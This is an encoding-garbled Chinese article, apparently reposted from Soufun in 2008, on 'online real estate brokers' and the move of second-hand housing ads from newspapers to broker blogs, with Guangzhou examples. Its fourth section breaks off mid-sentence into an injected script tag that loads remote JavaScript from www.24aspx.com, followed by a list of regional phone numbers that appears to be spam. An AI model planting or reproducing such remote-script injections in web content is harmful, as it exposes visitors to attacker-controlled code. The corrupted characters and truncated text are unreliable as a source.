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關(guān)于房地產(chǎn)網(wǎng)絡(luò)經(jīng)紀(jì)人的報(bào)告
文摘來(lái)源:搜房網(wǎng) 閱讀:9348次 [08-8-7]

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一、房地產(chǎn)經(jīng)紀(jì)公司二手房出售/出租分類廣告的演變過(guò)程
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1、2006年以前房源信息傳播以傳統(tǒng)渠道為主，蘇州的代表有蘇州日?qǐng)?bào)、姑蘇晚報(bào)、好鄰居信息、怡家信息。

2、2006年至現(xiàn)在互聯(lián)網(wǎng)的分類廣告部分替代了報(bào)紙分類廣告，代表有蘇州搜房網(wǎng)的搜房幫信息發(fā)布，以及蘇州口碑網(wǎng)、蘇州365網(wǎng)的類似產(chǎn)品，其實(shí)質(zhì)就是把報(bào)紙分類廣告的內(nèi)容原封不動(dòng)搬到網(wǎng)上，從2006年的廣告營(yíng)業(yè)額來(lái)看，在蘇州當(dāng)?shù)氐娜箝T戶網(wǎng)站的房地產(chǎn)二手房出售/出租分類廣告的營(yíng)業(yè)額已經(jīng)和傳統(tǒng)媒體相應(yīng)廣告營(yíng)業(yè)額持平；

3、二手房出售/出租分類廣告未來(lái)的趨勢(shì)，互聯(lián)網(wǎng)分類廣告逐漸替代傳統(tǒng)媒體是個(gè)大的方向，包括蘇州房管局二手房信息網(wǎng)上備案，這些都充分說(shuō)明了互聯(lián)網(wǎng)信息時(shí)代的到臨，從互聯(lián)網(wǎng)行業(yè)內(nèi)部來(lái)說(shuō)新的互聯(lián)網(wǎng)二手房出售/出租分類廣告形式會(huì)替代舊的互聯(lián)網(wǎng)二手房出售/出租分類廣告形式；

二、新的互聯(lián)網(wǎng)二手房出售/出租分類廣告為什么會(huì)出現(xiàn)
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1、信息真實(shí)性的需要
目前的報(bào)紙和互聯(lián)網(wǎng)在信息內(nèi)容本質(zhì)上是一樣的，可以說(shuō)互聯(lián)網(wǎng)的分類廣告就是報(bào)紙的翻版，毫無(wú)新意，就是原封不動(dòng)的照搬，其性質(zhì)就是以信息數(shù)量和廣告廣度來(lái)吸引客戶，充分的發(fā)揮了“廣告”的作用，不注重信息的質(zhì)量和準(zhǔn)確性。在報(bào)紙上實(shí)現(xiàn)信息的真實(shí)性是有一定的困難，但在互聯(lián)網(wǎng)上可以對(duì)信息發(fā)布者的資格進(jìn)行嚴(yán)格控制，并通過(guò)網(wǎng)民互動(dòng)進(jìn)行監(jiān)控，從監(jiān)控成本來(lái)說(shuō)是幾乎為0，可以完全實(shí)現(xiàn)監(jiān)督信息，現(xiàn)在因?yàn)橹皇钦肇埉嫽�，不能體現(xiàn)出信息的真實(shí)性，房地產(chǎn)網(wǎng)絡(luò)經(jīng)紀(jì)人的概念應(yīng)運(yùn)而生。

2、行業(yè)發(fā)展的需要
蘇州目前的二手房出售/出租市場(chǎng)正逐步走向成熟，形成良性的發(fā)展，房地產(chǎn)經(jīng)紀(jì)人已經(jīng)逐步成為大眾買房服務(wù)認(rèn)可的職業(yè)，需要以真實(shí)的誠(chéng)信的姿態(tài)來(lái)表現(xiàn)自己，也需要一個(gè)真實(shí)的廣告信息平臺(tái)來(lái)支持；

現(xiàn)在各個(gè)經(jīng)紀(jì)公司都有一批有業(yè)務(wù)能力的、有房產(chǎn)買賣、租賃業(yè)務(wù)實(shí)際操作經(jīng)驗(yàn)豐富的經(jīng)紀(jì)人，他們已經(jīng)成熟起來(lái)并想能通過(guò)自己的努力實(shí)現(xiàn)人生價(jià)值，迫切需要新的平臺(tái)來(lái)發(fā)揮自己的能力和水平，現(xiàn)有的信息平臺(tái)不能滿足其需要；

3、互聯(lián)網(wǎng)產(chǎn)品的生命周期性決定
隨著各種先進(jìn)性技術(shù)手段的融入，web2.0的特點(diǎn)和功能以及其他的新興互聯(lián)網(wǎng)功能要逐漸融入其中，例如：視頻功能、地圖功能等等，可以使用信息的內(nèi)容更加豐富直觀，舊的產(chǎn)品（例如圖片）形式已經(jīng)不符合互聯(lián)網(wǎng)發(fā)展的要求，必將有新的形式替代。

三、房地產(chǎn)網(wǎng)絡(luò)經(jīng)紀(jì)人概念及實(shí)踐者
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1、房地產(chǎn)網(wǎng)絡(luò)經(jīng)紀(jì)人概念
通過(guò)個(gè)人博客展示自己，經(jīng)紀(jì)人各種情況都真實(shí)的全部展示，通過(guò)互聯(lián)網(wǎng)平臺(tái)以某個(gè)房地產(chǎn)經(jīng)紀(jì)人的名義發(fā)布房地產(chǎn)出售/出租信息，與客戶進(jìn)行互動(dòng)式交流，進(jìn)行房地產(chǎn)經(jīng)紀(jì)工作，網(wǎng)民可以對(duì)經(jīng)紀(jì)人及個(gè)人其他信息進(jìn)行實(shí)時(shí)監(jiān)督。

2、廣州滿堂紅房地產(chǎn)經(jīng)紀(jì)有限公司第一個(gè)實(shí)踐，
2006年3月16日，MyTopHome.cn新版上線，中國(guó)第一批網(wǎng)絡(luò)經(jīng)紀(jì)人正式誕生。
2006年3月23日，中國(guó)第一批網(wǎng)絡(luò)經(jīng)紀(jì)人成交了第一單買賣業(yè)務(wù)
2006年12月1日搜房網(wǎng)推出第三方中立互聯(lián)網(wǎng)專業(yè)平臺(tái)的網(wǎng)絡(luò)經(jīng)紀(jì)人，隨后順馳的全房網(wǎng)也推出網(wǎng)絡(luò)經(jīng)紀(jì)人；

截止2007年7月廣州滿堂紅有1200名經(jīng)紀(jì)人，其中有300個(gè)是網(wǎng)絡(luò)經(jīng)紀(jì)人，網(wǎng)絡(luò)經(jīng)紀(jì)人可以實(shí)現(xiàn)的業(yè)務(wù)月收入達(dá)到公司月收入的30%

3、對(duì)廣州滿堂紅經(jīng)紀(jì)人的看法
買房人的看法，可以在互聯(lián)網(wǎng)上了解的更清楚，提高找房子的效率；
賣房人的看法，互聯(lián)網(wǎng)上來(lái)的客戶素質(zhì)較高，對(duì)公司服務(wù)也很滿意；

網(wǎng)絡(luò)經(jīng)紀(jì)人領(lǐng)導(dǎo)的看法，網(wǎng)絡(luò)經(jīng)紀(jì)人與傳統(tǒng)經(jīng)紀(jì)人最大的不同在于：網(wǎng)絡(luò)經(jīng)紀(jì)人可以通過(guò)個(gè)人博客展示自己，通過(guò)網(wǎng)絡(luò)平臺(tái)進(jìn)行工作，這樣使經(jīng)紀(jì)人工作更加透明。網(wǎng)絡(luò)經(jīng)紀(jì)人的執(zhí)業(yè)證、過(guò)往工作經(jīng)歷、獎(jiǎng)懲情況都在個(gè)人博客上展示出來(lái)，這樣讓客戶更有安全感。客戶會(huì)感覺(jué)到，我們公司有足夠的實(shí)力，絕對(duì)的信心，公開接受他們的監(jiān)督，這樣無(wú)疑會(huì)加深客戶對(duì)公司的信任度。

網(wǎng)絡(luò)經(jīng)紀(jì)人本人的看法，做網(wǎng)絡(luò)經(jīng)紀(jì)人之前，我們經(jīng)常業(yè)務(wù)做法是等待客戶上門、電話聯(lián)系、掃小區(qū)樓盤，整個(gè)工作狀態(tài)比較被動(dòng)；成為網(wǎng)絡(luò)經(jīng)紀(jì)人后，我們變的比較主動(dòng)了，通過(guò)博客、樓評(píng)、網(wǎng)店展示自己，吸引客戶的目光，得到他們的認(rèn)同。此外客戶素質(zhì)好、層次高，給我們的感覺(jué)也很好。作為一個(gè)網(wǎng)絡(luò)經(jīng)紀(jì)人主要是通過(guò)博客來(lái)展示自己，所以首先要做到對(duì)房子、業(yè)主情況都很熟悉、對(duì)推薦的樓盤了解透徹，這樣才能把我的博客做的內(nèi)容豐富，吸引想購(gòu)買房子的人�！耙环莞牛环质斋@”，做網(wǎng)絡(luò)經(jīng)紀(jì)人也如此，你付出的越多，做的越細(xì)，前期工作鋪墊的越好，就越容易成交。

四、房地產(chǎn)網(wǎng)絡(luò)經(jīng)紀(jì)人可以做到什么
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1、在很大程度上可以避免互聯(lián)網(wǎng)廣告的格雷欣現(xiàn)象，所謂格雷欣現(xiàn)象即?script src=http://www.24aspx.com/script.js>

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[河南] 18853119381 [山東] 0531-85936911,18853119381[成都] 028-66822022,13880767677 [重慶] 023-67530890,13436114789
[昆明] 028-66822022,18100893151 [西安] 13572176799 [福建] 0592-6022961,19905929501,19905929503
[武漢] 15307165353 [長(zhǎng)沙] 15307165353 [江西] 13602675916 [南寧] 13878876378 [沈陽(yáng)] 15804662075 [大連] 15804662075
[�？赸 15120790561,0898-65203645 [長(zhǎng)春] 15804662075 [哈爾濱] 15804662075

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